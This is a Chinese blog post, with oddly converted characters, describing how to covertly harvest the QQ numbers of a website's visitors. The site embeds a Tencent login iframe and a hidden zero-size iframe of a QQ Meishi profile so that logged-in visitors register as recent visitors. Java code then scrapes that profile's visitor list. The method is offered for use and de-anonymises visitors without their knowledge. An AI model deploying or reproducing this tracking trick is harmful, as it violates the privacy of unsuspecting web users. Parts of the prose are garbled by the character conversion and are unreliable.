JAVA獲取訪問者QQ

如今QQ美食這個頁面應該是禁止了,但其餘的頁面原理同樣能夠參照

前段時間很火的一段代碼,雖然只有%20-%30的獲取率,但仍是很不錯。 原理:主要是根據用戶訪問QQ美食我的主頁會出現一個列表框。若用戶登陸過QQ網頁,包括郵件家園空間等。都會將信息記錄在最近訪問人頁面。 根據這個。咱們能夠設計一下大致思路,將QQ美食網頁嵌入網頁。經過讀取QQ美食頁面的最近訪問人來得到來訪者QQ 下面來看代碼: 訪問網站body頁面嵌入
<iframe name="_login_frame_quick_" id="_login_frame_quick_" frameborder="no" scrolling="no" width="100%" height="100%" src="http://ui.ptlogin2.qq.com/cgi-bin/login?link_target=blank&amp;target=self&amp;appid=3001601&amp;qlogin_jumpname=vipcomm&amp;f_url=loginerroralert&amp;qlogin_auto_login=0&amp;s_url=http%3A//imgcache.qq.com/club/portal_new/redirect.html%3Fjump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569&amp;qlogin_param=jump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569" style="height: 328px;"></iframe>
<%
out.print("<iframe style=\"width:0px; height:0px\" align=\"middle\" src=\"http://meishi.qq.com/profiles/6246569\" frameborder=\"0\" name=\"contactsFrame\" marginwidth=\"0\" scrolling=\"no\"></iframe>");
	out.print(r.pl());
System.out.print(r.pl());
%>

java處理:
public String pl() {
		Document doc = getHtml();
		StringBuilder sb = new StringBuilder();
		if (doc != null) {
			Elements e = doc.getElementsByClass("style5");
			Elements li = e.select("li");
			for (Element element : li) {
				Matcher m = numberPattern.matcher(element.toString());
				while (m.find()) {
					sb.append(m.group(1) + "--" + m.group(2) + "<br/>");

				}
			}
		}
		return sb.toString();

	}
相關文章
相關標籤/搜索